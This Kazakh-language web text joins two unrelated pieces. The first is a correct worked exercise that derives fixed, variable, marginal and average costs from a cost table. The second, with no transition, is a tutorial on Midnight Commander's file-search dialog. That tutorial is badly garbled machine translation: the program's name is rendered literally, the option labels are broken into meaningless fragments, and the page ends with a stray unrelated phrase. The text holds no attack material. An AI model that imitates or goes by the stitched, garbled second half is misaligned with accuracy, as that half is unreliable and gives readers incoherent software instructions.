Кестеде кәсіпорынның жалпы шығындарының өнім шығаруға тәуелділігі көрсетілген. Шығындарды есептеңіз: тұрақты, айнымалы, орташа жалпы, орташа тұрақты, орташа айнымалы. Кестеде FC, VC, MC, ATC, AFC, AVC бағандарын толтырыңыз:

Жалпы шығындар, ТС, руб.ФКВ.К.М.К.ATCAVCA.F.C.
0 60
1 130
2 180
3 230
4 300

Шешімі:

Тұрақты шығындар ( Тұрақты шығындар) өндірілген өнім немесе қызмет көлеміне тәуелді емес шығындар. Кәсіпорын қанша өнім шығарса да, оның тұрақты шығындары өзгермейді. Кәсіпорын бірде-бір өнім бірлігін өндірмеген болса да, ол шығындарға ұшырайды, мысалы, үй-жайды жалға алу, жылу ақысы, несиелік комиссия және т.б.

Осылайша, кез келген өнім көлемі үшін FC 60 рубльге тең болады.

Өзгермелі шығындар ( Өзгермелі шығындар) өндірілген өнім немесе қызмет көлемі өзгерген кезде өзгеретін шығындар. Тұрақты шығындардың қосындысында олар жалпы шығындардың құнына тең ( Жалпы шығындар):

TC = FC + VC.

Осы жерден:

VC = TC - FC

VC(0) = 60 - 60 = 0,

VC(1) = 130 - 60 = 70,

VC(2) = 180 - 60 = 120,

VC(3) = 230 - 60 = 170,

VC(4) = 300 - 60 = 240.

Шекті шығындар ( Шекті шығындар) бұл өнімнің қосымша бірлігін өндіруге байланысты шығындардың өсуі.

MC = ΔTC / ΔQ

Бұл есепте өнім көлемінің ұлғаюы әрқашан 1-ге тең болғандықтан, бұл формуланы келесідей қайта жазуға болады:

MC = ΔTC / 1 = ΔTC

MC(1) = TC(1) - TC(0) = 130 - 60 = 70,

MC(2) = TC(2) - TC(1) = 180 - 130 = 50,

MC(3) = TC(3) - TC(2) = 230 - 180 = 50,

MC(4) = TC(4) - TC(3) = 300 - 230 = 70.

Орташа жалпы шығындар ( Орташа жалпы шығындар) өнім бірлігін өндіруге кеткен шығын.

ATC = TC/Q

ATC(1) = TC(1) / 1 = 130 / 1 = 130,

ATC(2) = TC(2) / 2 = 180 / 2 = 90,

ATC(3) = TC(3) / 3 = 230 / 3 = 76,67,

ATC(4) = TC(4) / 4 = 300 / 4 = 75.

Орташа тұрақты шығындар ( Орташа тұрақты шығындар) өнім бірлігіне тұрақты шығындар болып табылады.

AFC = FC/Q

AFC(1) = FC(1) / 1 = 60 / 1 = 60,

AFC(2) = FC(2) / 2 = 60 / 2 = 30,

AFC(3) = FC(3) / 3 = 60 / 3 = 20,

AFC(4) = FC(4) / 4 = 60 / 4 =15.

Орташа айнымалы шығындар ( Орташа өзгермелі шығындар) өнім бірлігін өндіруге байланысты өзгермелі шығындар болып табылады.

AVC = VC/Q

AVC(1) = VC(1) / 1 = 70 / 1 = 70,

AVC(2) = VC(2) / 2 = 120 / 2 = 60,

AVC(3) = VC(3) / 3 = 170 / 3 = 56,67,

AVC(4) = VC(4) / 4 = 240 / 4 =60.

ATC және AFC біле отырып, орташа айнымалы шығындарды орташа жалпы және орташа тұрақты шығындар арасындағы айырмашылық ретінде табуға болады:

AVC = ATC - AFC

Кестедегі бос орындарды толтырайық:

Уақыт бірлігіндегі шығыс, Q, дана.Жалпы шығындар, ТС, руб.ФКВ.К.М.К.ATCAVCA.F.C.
0 60 60 0 - - - -
1 130 60 70 70 130 70 60
2 180 60 120 50 90 60 30
3 230 60 170 50 76,67 56,67 20
4 300 60 240 70 75 60 15

Дайын болған кезде бағдарламалық өнімдер, Мысалы CMS Joomla, бағдарламаның нәтижелерінде қате туралы хабардың немесе ескертудің пайда болуымен жиі күресуге тура келеді, бірақ жоқ егжей-тегжейлі ақпарат, бұл код бөлігі қайда орналасқан. Мұндай жағдайларда файлды іздеудің ең оңай жолы Түн ортасы командирісызық бойынша. Мұны қалай жасауға болатынын қарастырайық.

Әдетте сіз қажетті код фрагменті бар файлдың шамамен орналасқан жерін білесіз. Сондықтан, ең алдымен, осы файл орналасуы мүмкін каталогқа барайық.

IN контекстік мәзірдалада» Бастау уақыты:» ( Каталогтан ) нүктені қалдырайық: біз іздеген файлды қамтитын күтілетін каталогта болдық. Бірақ опцияны таңдау арқылы « Т ree» ( Dағаш), іздеу үшін басқа каталогты таңдауға болады.

«Ена» контекстік өрісі бкаталогтарды елемеу» ( ЖӘНЕкаталогтарды елемеу) іздеу аймағын тарылту үшін іздеуден белгілі каталогтарды алып тастауды қаламасаңыз, бос қалдыруға болады.

далада» Файл атауы» ( Атау үлгісі ) файл атауын немесе оның атауына арналған үлгіні енгізу керек. Үлгі пайдаланады ? кез келген кейіпкер үшін немесе * кез келген таңбалардың кез келген саны үшін. Егер біз файл атауы немесе кеңейтімі туралы ештеңе білмесек, еркін енгізіңіз *.* .

Таңдау бойынша:

  • « Финд рекурсивті» ( re табыңыз Кімгежедел түрде)
  • « Уқабық үлгілерін айт» ( М Etashell кейіпкерлері)
  • «Кас eсезімтал» ( Утіпті тіркел)
  • « Абарлық таңбалар жинағы» ( INБарлық кодтаулар)
  • «С к ip жасырын» ( Өткізіп жіберу ск ссен)

далада» Мазмұны» ( Мазмұны ) Midnight Commander кезіккен барлық файлдарда табу керек жолды енгізіңіз.

Таңдау бойынша:

  • «Теңіз rмазмұн үшін ch» ( Мазмұн бойынша іздеу жәнеМен солай деп ойлаймын) ← БҰЛ ОПЕРАЦИЯ ЖОЛДАН ІЗДЕУ ҮШІН ҚАЖЕТ
  • «Re gөрнек» ( Р тұрақты өрнек)
  • «Жағдайдың мағынасы менәсерлі» ( Қайта есепке алу Гистра)
  • «А л l таңбалар жинағы» ( Күн eкодтаулар)
  • « Втесік сөздер» ( МЕНбүкіл аулау)
  • «Шырша с t соққы» ( Бірінші кіргенге дейін Xтуу)

Іздеуді бастаңыз» О k" ( D алше), тоқтаңыз Cансель» ( П жырту).

Бағдарлама барлық файлдармен жұмыс істегеннен кейін, ол оларды сәйкестіктері бар файлдар тізімі + ізделетін сөз тіркесімен сәйкестіктер табылған жол нөмірлері бар файлдардың тізімі ретінде көрсетеді.

Жалпы, сіз білетін, бірақ қайдан іздеу керектігін білмеген нәрсені іздеу кезінде мега-ыңғайлы бағдарлама. :)

Сымсыз дәлдiк